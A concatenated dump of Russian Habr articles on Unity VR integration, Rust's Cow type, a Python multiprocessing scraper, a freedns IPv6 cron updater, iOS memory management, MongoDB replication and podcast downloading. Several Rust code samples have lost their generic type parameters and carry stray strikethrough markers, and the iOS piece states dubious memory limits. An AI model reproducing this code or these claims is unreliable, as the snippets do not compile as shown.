> - print 'Die, ' . $GLOBALS[$person]->character . "!\n";
> - unset($GLOBALS[$person]);
> - }
> - }
> -
> - class witch {
> - public $character = 'witch';
> - public function cast\_damnation() {
> - print "Let your left hand to dry off!\n";
> - }
> - }
> -
> - ///////////////////////////////////////////////////////////////////////////////
> - $inquisitor = new inquisitor();
> - $necromancer = new necromancer();
> - $witch = new witch();
> -
> - $inquisitor->inspect\_person('witch');
> - $inquisitor->inspect\_person('necromancer');
> -
> - if(isset($witch))
> - $with->cast\_damnation();
> -
> - /\*\*
> - \* Zombies' time!
> - \*/
> - $necromancer->zombie\_invocation();
> -
> - ?>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/83263/ | null | ru | null |
# Интеграция средств VR в Unity3d
Проходит время и все меняется, в том числе и игры, точнее подход к их созданию. Сейчас появились новомодные штучки типа шлемов виртуальной реальности Oculus Rift, Sony Morpheus, разнообразных контроллеров движения типа Razer Hydra, Sixense STEM и многими другими средствами которые помогают погрузиться с головой в виртуальную реальность. В этой статье будет наглядно разобрана интеграция Oculus Rift и Razer Hydra в Unity3d.
Из шапки следует что у нас есть:
1. Oculus Rift
2. Razer Hydra
3. Unity3d 4.3.4f
#### Предисловие
Итак, я начну с истории про контроллер Razer Hydra, который был выпущен в уже можно сказать далеком 2011 году по немалой цене, но этот девайс позволял не только получать сведения о наклоне и отклонениях джойстика, но еще и координаты каждого из них в пространстве. В то время не было толком игр разработанных с учетом возможностей гидры и про нее многие забыли, но прошло время и был показан Oculus Rift, который позволяет погрузится в ранее неизведанную виртуальную реальность. А для больших ощущений нужно было хотя бы контролировать движения рук и тут на помощь приходит забытая Razer Hydra.
#### Подготовка
Я пожалуй начну с процесса установки драйверов на устройства. И опять начну с гидры. Для начала стоить понять что Razer уже сама забыла про устройство и драйвера не обновляла очень давно и так же они не предоставляют SDK, но это делает компания Sixense которые собственно и разработали эту технологию, чтобы скачать последний драйвер необходимо зайти на их [форум](http://sixense.com/forum/vbulletin/forumdisplay.php?157-Beta-Software-Releases), где вам нужно выбрать самую последнюю версию Motion Creator, скачать и установить.
С Oculus Rift, проще, ему не нужны драйверы, но нужно скачать последнюю версию SDK, вы можете это сделать перейдя по [ссылке](https://developer.oculusvr.com), но для скачивания необходимо зарегистрироваться.
#### Интеграция
Теперь после установки всего софта нам необходимо заставить наши устройства работать в Unity3d. По сложившейся уже традиции начну с Razer Hydra. Необходимо запустить Unity3d, открыть ваш проект или создать новый, перейти в Asset Store(Ctrl+9 хоткей), найти в нем SixenseUnityPlugin, скачать и импортировать.
Теперь давайте импортируем пакет SDK Oculus, для этого нам необходимо перетянуть из папки `\{"Путь до SDK"}\ovr_unity_{Номер версии}_lib\OculusUnityIntegration` файл с названием `OculusUnityIntegration.unitypackage`
В проекте у нас должны оказаться такие файлы:
Ок, с этим мы справились, теперь необходимо попробовать это все в действии. Для этого создадим сцену на которую для начала разместим `Terrain`, `First Person Controller`.
Итак, я набросал небольшую сценку чтобы опробовать для начала нашу гидру:
Также чтобы у вас заработала сама гидра необходимо на сцену добавить объект `SixenseInput` из папки `/SixenseInput` в проекте
Теперь нам необходимо добавить руки на сцену, найдем их в `SixenseInput/DemoScenes/Models`, объект называется `Hand`. Так как это просто туториал я не учитываю что это всего лишь одна правая рука =). Так вот чтобы не потерять руки я предлагаю вам их засунуть в пустой объект и закрепить его в иерархии объекта `FirstPersonController`. Получим что-то вроде этого:
Теперь нам необходимо создать скрипт для обработки значений выходящих с гидры. Для этого создадим C# скрипт, назовем его HandsController и поместим в него этот код:
**HandsController.cs**
```
using UnityEngine;
using System.Collections;
public class HandsController : MonoBehaviour {
float m_sensitivity = 0.003f;
public GameObject leftHand;
public GameObject rightHand;
void Update ()
{
leftHand.transform.localPosition = SixenseInput.Controllers[0].Position * m_sensitivity;
rightHand.transform.localPosition = SixenseInput.Controllers[1].Position * m_sensitivity;
leftHand.transform.localRotation = SixenseInput.Controllers [0].Rotation;
rightHand.transform.localRotation = SixenseInput.Controllers [1].Rotation;
}
}
```
Вешаем этот скрипт на `MainCamera` в `FirstPersonController`е, назначаем руки в соответствующие поля и смотрим что у нас получилось, я приложу ролик демонстрирующий работу.
Прекрасно, настала очередь Oculus Rift, с ним нет особых проблем, нам лишь необходимо заменить аккуратно `FirstPersonController` на `OVRPlayerController` из папки `OVR/Prefabs`. Также не забудьте добавить наш `HandsController.cs` на `OVRCameraController` и не забываем назначить руки.
Вот как примерно должно у вас выглядеть:
После всего этого мы можем протестировать наше творение, но мы не сможем ходить, необходимо решить эту проблему. Создадим скрипт `MoveController.cs` и положим в него этот код:
**MoveController.cs**
```
using UnityEngine;
using System.Collections;
public class MoveController : MonoBehaviour {
void Update () {
float X = SixenseInput.Controllers[1].JoystickX * 5;
float Y = SixenseInput.Controllers[1].JoystickY * 5;
X*=Time.deltaTime; Y*=Time.deltaTime;
transform.Translate(X, 0, Y);
}
}
```
Этот скрипт мы назначим на `OVRPlayerController` и можно проверять. Приношу извинения за низкий фреймрейт видео:
#### Итог
В итоге мы получили немного играбельную сцену, где можно понять стоит ли применять эти новомодные штучки у себя в проектах или нет? Я думаю что если делать подобные игры то необходимо продумывать каждую мелочь. Больше мне нечего сказать, спасибо за внимание. | https://habr.com/ru/post/223295/ | null | ru | null |
# Rust: От &str; к Cow
Одной из первых вещей, которые я написал на Rust'е была структура с `&str` полем. Как вы понимаете, анализатор заимствований не позволял мне сделать множество вещей с ней и сильно ограничивал выразительность моих API. Эта статья нацелена на демонстрацию проблем, возникающих при хранении сырых &str ссылок в полях структур и путей их решения. В процессе я собираюсь показать некоторое промежуточное API, которое увеличивает удобство пользования такими структурами, но при этом снижает эффективность генерируемого кода. В конце я хочу предоставить реализацию, которая будет одновременно и выразительной и высокоэффективной.
Давайте представим себе, что мы делаем какую-то библиотеку для работы с API сайта example.com, при этом каждый вызов мы будем подписывать токеном, который определим следующим образом:
```
// Token для example.io API
pub struct Token<'a> {
raw: &'a str,
}
```
Затем реализуем функцию `new`, которая будет создавать экземпляр токена из `&str`.
```
impl<'a> Token<'a> {
pub fn new(raw: &'a str) -> Token<'a> {
Token { raw: raw }
}
}
```
Такой наивный токен хорошо работает лишь для статических строчек `&'static str`, которые непосредственно встраиваются в бинарник. Однако представим, что пользователь не хочет встраивать секретный ключ в код или он хочет загружать его из некоторого секретного хранилища. Мы могли бы написать такой код:
```
// Вообразим, что такая функция существует
let secret: String = secret_from_vault("api.example.io");
let token = Token::new(&secret[..]);
```
Такая реализация имеет большое ограничение: токен не может пережить секретный ключ, а это означает, что он не может покинуть эту область стека.
А что если `Token` будет хранить `String` вместо `&str`? Это поможет нам избавится от указания параметра времени жизни структуры, превратив её во владеющий тип.
Давайте внесем изменения в Token и функцию new.
```
struct Token {
raw: String,
}
impl Token {
pub fn new(raw: String) -> Token {
Token { raw: raw }
}
}
```
Все места, где предоставляется `String` должны быть исправлены:
```
// Это работает сейчас
let token = Token::new(secret_from_vault("api.example.io"))
```
Однако это вредит удобству использования `&'str`. К примеру, такой код не будет компилироваться:
```
// не собирается
let token = Token::new("abc123");
```
Пользователь этого API должен будет явным образом преобразовать `&'str` в String.
```
let token = Token::new(String::from("abc123"));
```
Можно попробовать использовать `&str` вместо `String` в функции new, спрятав `String::from` в реализацию, однако в случае `String` это будет менее удобно и потребует дополнительного выделения памяти в куче. Давайте посмотрим как это выглядит.
```
// функция new выглядит как-то так
impl Token {
pub fn new(raw: &str) -> Token {
Token(String::from(raw))
}
}
// &str может передана беспрепятственно
let token = Token::new("abc123");
// По-прежнему можно использовать String, но необходимо пользоваться срезами
// и функция new должна будет скопировать данные из них
let secret = secret_from_vault("api.example.io");
let token = Token::new(&secret[..]); // неэффективно!
```
Однако, существует способ, как заставить new принимать аргументы обоих типов без необходимости в выделении памяти в случае передачи String.
Встречайте типаж Into
---------------------
В стандартной библиотеке существует типаж `Into`, который поможет решит нашу проблему с new. Определение типажа выглядит так:
```
pub trait Into {
fn into(self) -> T;
}
```
Функция `into` определяется довольно просто: она забирает `self` (нечто, реализующее `Into`) и возвращает значение типа `T`. Вот пример того, как это можно использовать:
```
impl Token {
// Создание нового токена
//
// Может принимать как &str так и String
pub fn new~~(raw: S) -> Token
where S: Into
{
Token { raw: raw.into() }
}
}
// &str
let token = Token::new("abc123");
// String
let token = Token::new(secret\_from\_vault("api.example.io"));~~
```
Здесь происходит много интересного. Во первых, функция имеет обобщенный аргумент `raw` типа `S`, строка where ограничивает возможные типа `S` до тех, которые реализуют типаж `Into`.
Поскольку стандартная библиотека уже предоставляет `Into` для `&str` и `String`, то наш случай уже ей обрабатывается без дополнительных телодвижений. [1]
Хотя теперь этим API стало гораздо удобнее пользоваться, в нем всё ещё присутствует заметный изъян: передача `&str` в `new` требует выделения памяти для хранения как `String`.
Нас спасет типаж Cow [2]
------------------------
В стандартной библиотеке есть особый контейнер под названием [std::borrow::Cow](https://doc.rust-lang.org/std/borrow/enum.Cow.html),
который позволяет нам, сохранить с одной стороны удобство `Into`, а с другой разрешить структуре владеть значениями типа `&str`.
Вот страшно выглядящее определение Cow:
```
pub enum Cow<'a, B> where B: 'a + ToOwned + ?Sized {
Borrowed(&'a B),
Owned(B::Owned),
}
```
Давайте разбираться в этом определении:
`Cow<'a, B>` имеет два обобщённых параметра: время жизни `'a` и некоторый обобщённый тип `B`, который имеет следующие ограничения: `'a + ToOwned + ?Sized`.
Давайте рассмотрим их поподробнее:
* Тип `B` не может иметь время жизни короче, чем `'a`
* `ToOwned` — `B` должен реализовывать типаж `ToOwned`, который позволяет передавать заимствованные данные во владение, делая их копию.
* `?Sized` — Размер типа `B` может быть неизвестен во время компиляции. Это не имеет значения в нашем случае, но это означает, что типажи-объекты могут использоваться вместе с `Cow`.
Существуют два варианта значений, которые способен хранить в себе контейнер `Cow`.
* `Borrowed(&'a B)` — Ссылка на некоторый объект типа `B`, при этом время жизни контейнера точно такое же, как у связанного с ним значения `B`.
* `Owned(B::Owned)` — Контейнер владеет значением ассоциированного типа `B::Owned`
```
enum Cow<'a, str> {
Borrowed(&'a str),
Owned(String),
}
```
Короче говоря, `Cow<'a, str>` будет либо `&str` с временем жизни `'a`, либо он будет представлять собой `String`, который не связян с этим временем жизни.
Это звучит круто для нашего типа `Token`. Он будет иметь возможность хранить как `&str`, так и `String`.
```
struct Token<'a> {
raw: Cow<'a, str>
}
impl<'a> Token<'a> {
pub fn new(raw: Cow<'a, str>) -> Token<'a> {
Token { raw: raw }
}
}
// создание этих токенов
let token = Token::new(Cow::Borrowed("abc123"));
let secret: String = secret_from_vault("api.example.io");
let token = Token::new(Cow::Owned(secret));
```
Теперь `Token` может быть создан как из владеющего типа, так из заимствованного, но пользоваться API стало не так удобно.
`Into` может сделать такие же улучшения для нашего `Cow<'a, str>`, как сделал для простого `String` ранее. Финальная реализация токена выглядит так:
```
struct Token<'a> {
raw: Cow<'a, str>
}
impl<'a> Token<'a> {
pub fn new~~(raw: S) -> Token<'a>
where S: Into>
{
Token { raw: raw.into() }
}
}
// создаем токены.
let token = Token::new("abc123");
let token = Token::new(secret\_from\_vault("api.example.io"));~~
```
Теперь токен может быть прозрачно создан как из `&str` так и из `String`. Связанное с токеном время жизни больше не проблема для
данных, созданных на стеке. Можно даже пересылать токен между потоками!
```
let raw = String::from("abc");
let token_owned = Token::new(raw);
let token_static = Token::new("123");
thread::spawn(move || {
println!("token_owned: {:?}", token_owned);
println!("token_static: {:?}", token_static);
}).join().unwrap();
```
Однако, попытка отправить токен с не-static временем жизни ссылки потерпит неудачу.
```
// Сделаем ссылку с нестатическим временем жизни
let raw = String::from("abc");
let s = &raw[..];
let token = Token::new(s);
// Это не будет работать
thread::spawn(move || {
println!("token: {:?}", token);
}).join().unwrap();
```
Действительно, пример выше не компилируется с ошибкой:
```
error: `raw` does not live long enough
```
Если вы жаждите больше примеров, пожалуйста, посмотрите на [PagerDuty API client](https://github.com/jwilm/pagerduty-rs/tree/master/src), который интенсивно использует Cow.
Спасибо за чтение!
**Примечания**#### 1
Если вы пойдете искать реализации `Into` для &str и String, вы не найдете их. Это потому, что существует обобщенная реализация Into для всех типов, которые реализуют типаж From, выглядит она следующим образом.
```
impl Into for T where U: From {
fn into(self) -> U {
U::from(self)
}
}
```
#### 2
Примечание переводчика: в оригинальной статье ни слова не сказано про принцип работы Cow или же Copy on write семантики.
Если в кратце, при создании копии контейнера, реальные данные не копируются, реальное же разделение производится лишь при попытке изменить значение, хранящееся внутри контейнера. | https://habr.com/ru/post/282708/ | null | ru | null |
# Реализация на Python многопоточной обработки данных для парсинга сайтов
Процесс парсинга усложняется существенными затратами времени на обработку данных. Многопоточность поможет в разы увеличить скорость обработки данных. Сайт для парсинга — [«Справочник купюр мира»](http://banknotes.finance.ua/), где получим валюту в соотношении к иным.
Привожу код программы для сокращение времени обработки вдвое.
Импорт
------
```
import requests #выполняет HTTP-запросы
from bs4 import BeautifulSoup #работа с HTML
import csv #работа с форматом данных CSV
from multiprocessing import Pool #предоставляет возможность параллельных процессов
```
Главная процедура
-----------------
```
def main():
url = 'http://banknotes.finance.ua/'
links = []
#получение всех ссылок для парсинга с главной страницы
all_links = get_all_links(get_html(url), links)
#обеспечение многопоточности
#функции смотри help
with Pool(2) as p:
p.map(make_all, all_links)
if __name__ == '__main__':
main()
```
Получение URL
-------------
```
def get_html(url):
r = requests.get(url)
return r.text
```
Функции многопоточности
-----------------------
```
def make_all(url):
html = get_html(url)
data = get_page_data(html)
write_csv(data)
```
Получение URL главной страницы
------------------------------
```
def get_all_links(html, links):
#очистка содержимого файла - без его удаления
f=open('coin.csv', 'w')
f.close()
#работа с html-кодом, задаются параметры блоков и адрес сайта
soup = BeautifulSoup(html, 'lxml')
href = soup.find_all('div', class_= "wm_countries")
for i in href:
for link in i.find_all('a'):
links += [link['href']]
return links
```
Парсинг вложенных страниц
-------------------------
```
def get_page_data(html):
soup = BeautifulSoup(html, 'lxml')
try:
name = soup.find('div', 'pagehdr').find('h1').text
except:
name = ''
try:
massiv_price = [pn.find('b').text for pn in soup.find('div', class_ = 'wm_exchange').find_all('a', class_ = 'button', target = False)]+[pr.text for pr in soup.find('div', class_ = 'wm_exchange').find_all('td', class_ = 'amount')]
if len(massiv_price)==6: massiv_price=massiv_price[0]+massiv_price[3]+massiv_price[1]+massiv_price[4]+massiv_price[2]+massiv_price[5]
elif len(massiv_price)==4:
massiv_price=massiv_price[0]+massiv_price[2]+massiv_price[1]+massiv_price[3]
except:
massiv_price = ''
data = {'name': name, 'price': massiv_price}
return data
```
Запись файла
------------
```
def write_csv(data):
with open('coin.csv', 'a') as f:
writer = csv.writer(f)
writer.writerow( (data['name'], data['price']) )
```
Предложенный код может быть широко использован при парсинге (и не только) с учетом особенностей сайтов. | https://habr.com/ru/post/323238/ | null | ru | null |
# IPv6, miredo, dynamic DNS AAAA
Захотелось странного — чтоб мои IPv6-enabled (miredo) хосты еще и динамически обновляемую DNS запись имели. Поизучав вопрос выяснил, что многие распространённые dyndns сервисы или не предоставляют возможность регистрации AAAA (IPv6 эквивалент записи типа A для IPv4), или не предоставляют её бесплатно, или имеют мутные настройки динамического обновления неизвестного уровня безопасности (или вовсе http/plaintext). Перепробовал с десяток сервисов и решил остановиться на [freedns.afraid.org](https://freedns.afraid.org/)
Плюсы:* Человеко-понятная админка (без всяких «купить AAAA за $0 USD»)
* Бесплатно дают AAAA
* Безопасное (https) обновление
* URL-based обновление (не приходится испытывать сомнений о конфиге для агентов типа ddclient)
Из особенностей — однострочный скрипт для обновления AAAA пришлось написать самому. Получилось такое:
> **```
> cat /etc/cron.d/freedns-watcher
>
> ```**
>
>
> ```
> PATH=/sbin:/usr/sbin:/bin:/usr/bin
>
> * * * * * root ipv6=$(ip a |grep -s -i -o '2001\:[a-f0-9\.:]*') && [ "$(nslookup -query=AAAA myhost.mooo.com ns1.afraid.org |grep -s -i -o '2001\:[a-f0-9\.:]*')" != "$ipv6" ] && curl -m 30 https://freedns.afraid.org/dynamic/update.php?bnJxM3kxMHRHF1p4B0NmSXJDfEFLc0NJOjEzMTEyNjv\&address=$ipv6 2>/dev/null |grep Updated && date >> /var/log/freedns.log &> /dev/null
>
> ```
>
Скрипт хоть и однострочный но всё же немного длинноватый получился, поэтому прокомментирую что тут зачем:
```
* * * * *
```
5 звёздочек — информация для cron «запускать это каждую минуту»
```
root
```
сами решайте под какой учёткой запускать
```
ipv6=$(ip a |grep -s -i -o '2001\:[a-f0-9\.:]*')
```
Достаем из выхлопа **ip** teredo-адрес, работает примерно так:
>
> ```
> ip a |grep -s -i -o '2001\:[a-f0-9\.:]*'
> 2001:0:52ab:53b:2ab4:555e:23d0:1dc9
>
> ```
>
Если адрес найден — помещаем его в переменную $ipv6, если не найден — присвоение фейлится и дальнейших трудов по обновлению записи AAAA не производится (ведь типичная причина отсутствия teredo адреса — отсутствие подключения (IPv4) к Интернету, да и обновлять собственно особо не на что)
```
[ "$(nslookup -query=AAAA myhost.mooo.com ns1.afraid.org |grep -s -i -o '2001\:[a-f0-9\.:]*')" != "$ipv6" ]
```
Опрашиваем сервер ns1.afraid.org на предмет «какой там нынче IP адрес у вас записан для моего AAAA?» и сравниваем с тем, что нам сконфигурил на данный момент miredo. Если совпадает — ни чего делать не надо, выполнение скрипта прерывается. Почему указан их DNS сервер вместо системного? Что бы минимизировать задержку нотификации нашего скрипта об изменение записи. На других DNS серверах изменение будет с большой задержкой. Можно было бы ни чего не проверять а тупо долбить ежеминутно по указанному URL, но по-моему это хамство. С другой стороны отправка DNS запросов о вашем AAAA это в каком-то смысле палево, поэтому данная часть скрипта может считаться опциональной.
```
curl -m 30 https://freedns.afraid.org/dynamic/update.php?bnJxM3kxMHRHF1p4B0NmSXJDfEFLc0NJOjEzMTEyNjv\&address=$ipv6 2>/dev/null |grep Updated
```
* Обновляем нашу AAAA запись (по https заметьте)
* bnJxM3kxMHRHF1p4B0NmSXJDfEFLc0NJOjEzMTEyNjv — персональный ключ для обновления нашего хоста, найдете в админке freedns.afraid.org в разделе Dynamic DNS -> Direct URL
* \&address=$ipv6 — собственно передаем параметром наш teredo IPv6 найденный в самом начале скрипта
* 2>/dev/null |grep Updated — проверяем успешность обновления. В случае успешного, сервер выдаст что-то вроде
```
Updated 1 host(s) myhost.mooo.com to 2001:0:52ab:53b:2ab4:555e:23d0:1dc9 in 0.008 seconds
```
```
date >> /var/log/freedns.log
```
пишем в лог дату успешного обновления AAAA
```
&> /dev/null
```
cron, не беспокойся пожалуйста и не присылай нам письмо каждую минуту по поводу запуска этого скрипта | https://habr.com/ru/post/246341/ | null | ru | null |
# Об утечках памяти в iOS и методах борьбы с ними
 Среди проектов, над которыми мы [работаем](http://habrahabr.ru/blogs/macosxdev/110197/#habracut), пожалуй, нет ни одного, в котором было бы всё в порядке с памятью. Этот пост я посвящу рассказу о том, как бороться с данным видом проблем.
К проблемам с памятью можно отнести утечки и так называемых «зомби». Приложение, в котором творится бардак с памятью, становится нестабильным, в нём появляется целый букет странностей, начинаяя с пропадания некоторых элементов интерфейса и заканчивая падениями.
Для начала давайте определимся, что такое утечки. Утечки — выделенные, но не освобождённые области памяти, на которые нет указателя. Всё это выглядит достаточно несерьёзно, у iPhone куча оперативной памяти, а обычное приложение занимает в лучшем случае 2 Мб. На деле всё не так радужно: приложение может использовать до 3мб, а дальше начинают возникать memory warning, соответственно, ОС пытается освободить те области, которые считает «ненужными». Попросту говоря, удаляет невидимые в данный момент элементы интерфейса, а это не только некрасиво, но и может привести к падению приложения. «Зомби» — уже освобождённые (убитые) области памяти, к которым пытается обратиться программа, что также приводит к падению приложения.
### В iOS есть сборщик мусора!
Многие (да я и сам этим грешу) часто говорят, что его нет. Но всё же сборщик мусора есть, хоть и весьма примитивный. Принцип управления памятью основан на подсчёте количества ссылок на объект. При выделении памяти под объект их количество устанавливается равным 1, а при достижении 0 память освобождается (выбрасывается мусор). Каждый раз, когда вы хотите использовать объект, вы должны увеличить количество ссылок, а каждый раз, когда он вам становится ненужным — уменьшить.
### Есть 4 волшебных слова
Чтобы управлять памятью, нужно запомнить всего 4 слова: `alloc`, `copy`, `retain`, `release`. Давайте поговорим о каждом из них в отдельности:
**`alloc`**
Выделяет память под объект и увеличивает кол-во ссылок на 1. Использовать его необходимо каждый раз, когда вы создаёте новый объект.
**`copy`**
Копирует объект (не указатель). Оставляет неизменным количество ссылок на объект, который мы копируем и увеличивает их количество на новый объект.
**`retain`**
Просто увеличивает количество ссылок на объект.
**`release`**
Обратная трём вышеперечисленным операция, уменьшает количество ссылок на 1.
### И еще кое что
**`Autorelease`**
Это немного другая история. Если отправить объекту сообщение `autorelease`, то произойдёт «отложенный» `release`. Это нужно для тех случаев, когда вы не сможете по каким либо причинам отправить сообщение `release` объекту после действий с ним. Его основное применение — возвращение объектов методами. Любой метод, в названии которого нет `alloc`, `copy`, `retain`, возвращает и должен возвращать «авторелизный» объект.
Но почему бы тогда не использовать его везде? Это же так удобно! Удобно, но накладно. Из-за того, что количество ссылок на объект уменьшается не сразу, соответственно, память тоже освобождается не сразу. Тут нас и ждёт подводный камень: у нас всего 3мб, а если мы за раз обрабатываем большой объём данных, появляются те самые memory warning.
**`Dealloc`**
Этот метод вызывается при удалении объекта, в нём вы должны сделать release всех переменных, которые использовал объект, и в конце вызвать `dealloc` у родителя.
`- (void)dealloc {
[model release];
[view release];
[super dealloc];
}`
**`Property`**
Свойства бывают трёх видов: `assign`, `retain`, `copy`. Последние два должны быть уже понятны. А первый просто присваивает значение, никак не влияя на количество ссылок на объект. Приведу правильную реализацию сеттеров для каждого типа:
`//assign
- (void)setList:(List *)list{
_list = list;
}
//retain
- (void)setList:(List *)list{
[_list autorelease];
_list = [list retain];
}
//copy
- (void)setList:(List *)list{
[_list autorelease];
_list = [list copy];
}`
Помните, вам не нужно следить за тем, что делает `Property`, вам достаточно уcтановить его, а при необходимости сбросить значение, просто обнулить его.
### Delegate, курица и яйцо
В процессе работы мы наткнулись на проблему, связанную с тем, что у нас утекало большое число объектов. Выяснилось, что у нас два объекта ретейнили друг-друга и, соответственно, никогда не освобождали память. Это происходило при использовании паттерна делегирования. Был объект, который создавал другой объект и ставил себя его делегатом. А свойство `Delegate` было прописанно как `retain`. Ситуацию спасает замена `retain` на `assign`.
### Несколько советов напоследок
* Слово release должно приходить сразу после `alloc`, `retain` или `copy`
* А слово **nil** сразу после `release`
* Всегда об**nil**яйте делегатов
* По возможности воздержитесь от `autorelease`
* Создавайте объекты именно тогда, когда они вам нужны
* Не злоупотребляйте полями класса
* Static Analysys Tool всё красиво и понятно рисует
* Изредка проверяйте на утечки
*Иван Ушаков, программист команды iOS* | https://habr.com/ru/post/117485/ | null | ru | null |
# Виды репликации в MongoDB
Привет, хабровчане! Расшифровали для вас часть урока по MongoDB от Евгения Аристова, разработчика с 20-летним стажем и автора [онлайн-курса «Нереляционные базы данных»](https://otus.ru/lessons/nosql-bd/?utm_source=habr&utm_medium=affilate&utm_campaign=nosql&utm_term=30.09.2020#event-736). Материал, как и сам курс, будет полезен специалистам, сталкивающимся в работе с NoSQL, желающим научиться оптимизировать свои базы данных и работу с ними.
### Зачем нужна репликация?
1. Высокая доступность. Бэкап это хорошо, но нужно время на его развертывание.
2. Горизонтальное масштабирование. В случае, когда закончились физические ядра и память у сервера.
3. Бэкап лучше делать с реплики, а не с мастера.
4. Геораспределение нагрузки.
В MongoDB видов репликации из коробки немного: самый актуальный на данный момент Replicaset, а второй — Master-slave, который ограничен версией 3.6 и подробно рассматриваться в этой статье не будет.
#### №1. Запись и чтение с основного сервера
У нас есть драйвер клиентского приложения, который читает и пишет на Primary-ноду. Дальше по протоколу репликации информация, которая записывается на Primary-ноду, отправляется на Secondary-ноды.
#### №2. Чтение с реплики
Альтернативой чтению и записи с Primary является вариант, когда драйвер может читать информацию с Secondary. При этом настройки могут быть разными, например, «читать информацию предпочтительнее с Secondary, а потом с Primary» или «читать информацию с ближайшего по карте сети нода» и т.д. Такие варианты настроек используются чаще, чем первый вариант репликации, где все идет через Primary.
### 3 способа сделать реплику доступной для чтения:
* Указать `db.slaveOk()`
* Указать в строке подключения драйвера нужные параметры
* Указать все, а потом более точечно прописать в самом запросе, например, читай из Secondary в Южном регионе: `db.collection.find({}).readPref( “secondary”, [ { “region”: “South”} ] )`
### Проблемы чтения с реплики
1. Так как запись асинхронная, она может быть уже сделана на Primary, но не доехать до Secondary, поэтому будут прочитаны старые данные с Secondary.
2. Записав данные на основной, нельзя быть уверенным, когда остальные получат эти данные.
Чтобы было все синхронно, каждая нода должна подтвердить получение данных. Сейчас в MongoDB есть общие настройки, а есть на каждый запрос, где можно указать, от скольки нод ожидается подтверждение запроса.
3. Когда падает основной сервер, запускается процесс выборов (кворум) — а это уже особое отдельное «веселье».
### Настроен процесс репликации может быть двумя способами
А) Ноды «слушают» друг друга, эта связь называется Heartbeat. То есть каждая нода постоянно проверяется другими на предмет «живая/ неживая», для того, чтобы предпринимать какие-то действия, если что-то случилось.
Б) Одна Secondary-нода меняется на Arbiter. Это очень легковесное приложение, запускается как Mongo, практически не ест ресурсов и отвечает за то, что определяет, какую ноду в момент голосования признать главной. И это в целом рекомендуемая конфигурация.
#### Основные особенности этой конфигурации
* Репликация асинхронная
* Арбитр не содержит данных, и поэтому очень легковесный
* Primary может стать Secondary и наоборот. Арбитр не может стать ни Primary, ни Secondary
* Максимальное количество реплик 50 и только 7 из них имеют право голосовать
* Arbiter можно установить и на Primary или Secondary, но делать это не рекомендуется, т.к. если этот сервер упадет, Arbiter тоже не сможет выполнить свою функцию.
Если вам интересно узнать больше о кластерных возможностях MongoDB, [посмотреть запись всего демо-урока можно тут](https://otus.ru/lessons/nosql-bd/?utm_source=habr&utm_medium=affilate&utm_campaign=nosql&utm_term=30.09.2020#event-736). На занятии Евгений Аристов демонстрирует отличия Replicaset от Master-slave, объясняет процесс кворума, масштабирование, шардирование и правильный подбор ключа к шардированию.
Изучение возможностей MongoDB входит в программу онлайн-курса «Нереляционные базы данных». Курс предназначен для разработчиков, администраторов и других специалистов, которые сталкиваются в работе с NoSQL. На занятиях студенты на практике осваивают наиболее актуальные сегодня инструменты: Cassandra, MongoDB, Redis, ClickHouse, Tarantool, Kafka, Neo4j, RabbitMQ.
Старт уже 30 сентября, но в течение первого месяца можно присоединиться к группе. Изучайте программу, проходите [вступительный тест](https://otus.ru/lessons/nosql-bd/?utm_source=habr&utm_medium=affilate&utm_campaign=nosql&utm_term=30.09.2020#event-736) и присоединяйтесь! | https://habr.com/ru/post/521302/ | null | ru | null |
# Извлечь максимум из новостей в интернете, часть 3
### Часть 3
#### Как я автоматизировал доставку аудиоподкастов на свой плеер
Продолжение статьи про новости - как я скачиваю подкасты. Предыдущие части [тут](https://habr.com/ru/post/550642/) и [тут](https://habr.com/ru/post/551678/).
Каждый человек выбирает себе способ, каким занимать своё свободное время. Кто-то пьёт пиво на диване и смотрит телек. Кто-то читает бумажные или электронные книги. Кто-то слушает аудио-книги и подкасты. У каждого способа есть плюсы и минусы.
У аудиокнижек и подкастов плюс в том, что можно эффективно занять время, когда держать книгу в руках просто неудобно - путь пешком до метро, беговая дорожка или другие способы активного время провождения.
Я прошёл долгий путь по выбору конкретного аудиопроигрывателя (и, возможно, этот путь ещё не закончен) - bluetooth-наушники в связке со смартфоном, наушники со встроенным плеером, и прочее и прочее. Сейчас у меня есть простенький китайский mp3-плеер (которых было заказано сразу несколько штук и в случае поломок можно просто выкинуть один и взять другой). Цена вопроса - около 300 рублей за штуку. Если плеер проработает хотя бы 1 год, то это просто удача. В моём случае один плеер работает уже с декабря 2019, что я считаю, признак успеха китайской промышленности.
В жизни, конечно, мой плеер выглядит более убого и непрезентабельно, тем не менее он работает и свои функции выполняет.
Мне очень « зашли » подкасты радио Маяк. В школе я не любил историю - все эти сухие даты, непонятные события (когда алая Роза напала на Белую Розу или наоборот? и чем вообще эта буза закончилась?). Но сейчас мне эта тема почему-то стала интересна, особенно если тему раскрывает интересный рассказчик. История страны, история мира. Интересны подкасты про общее развитие, про новые технологии. Аудио-книги, которые в своё время не успел прочитать. Всё очень интересно. И очень удобно.
Кстати, буду признателен, если в комментариях оставите ссылки на свои подкасты.
**Задача:** Хочется скачивать аудиофайлы с сайта [радио Маяк](https://radiomayak.ru/podcasts/), и раскладывать их по каталогам, чтобы потом в дальнейшем легко копировать на плеер.
Для начала посмотрим, что же пишется в файле новостей из радио Маяк. Возьмём для примера подкаст «[30 сюжетов цивилизации](https://radiomayak.ru/podcasts/rss/podcast/2122/brand/60198/type/audio/)»:
Как видим, у каждой новости (одна новость = одна радио-передача = `rss.channel.item`) есть тэг `enclosure` с гиперссылкой (атрибут `url`) на mp3-файл. Это именно то, что нам нужно.
Надо скачать все файлы и сохранить их на диске, сохраняя структуру папок, чтобы потом скопировать на плеер.
Не помешает база данных. Что бы использовать? Я для себя выбрал 1С - там встроенная база данных (как в MS Access), есть работа с интернетом (загрузка файлов), парсинг xml, работа с файловой системой, можно буквально мышкой нарисовать интерфейс - и всё это "из коробки"! Плюс у меня есть некоторый опыт работы с 1С.
У 1С есть бесплатный вариант (версия «для обучения программированию»), которую можно бесплатно и без смс скачать с [сайта](http://online.1c.ru/catalog/programs/program/28765768/) - это свежая версия на текущий момент. Для загрузки потребуется только емейл.
У версии «для обучения программированию» есть ограничения по количеству записей в таблицах. Но это не проблема - вместо одной большой базы данных можно создать несколько маленьких.
По лицензионному соглашению мы можем использовать «версию для обучения», как ни странно, только для обучения, а не для реального учёта. Ну мы же и будем учиться?
Итак, я скачал версию 1С «для обучения программированию»…
Опустим процесс инсталляции. Там всё просто.
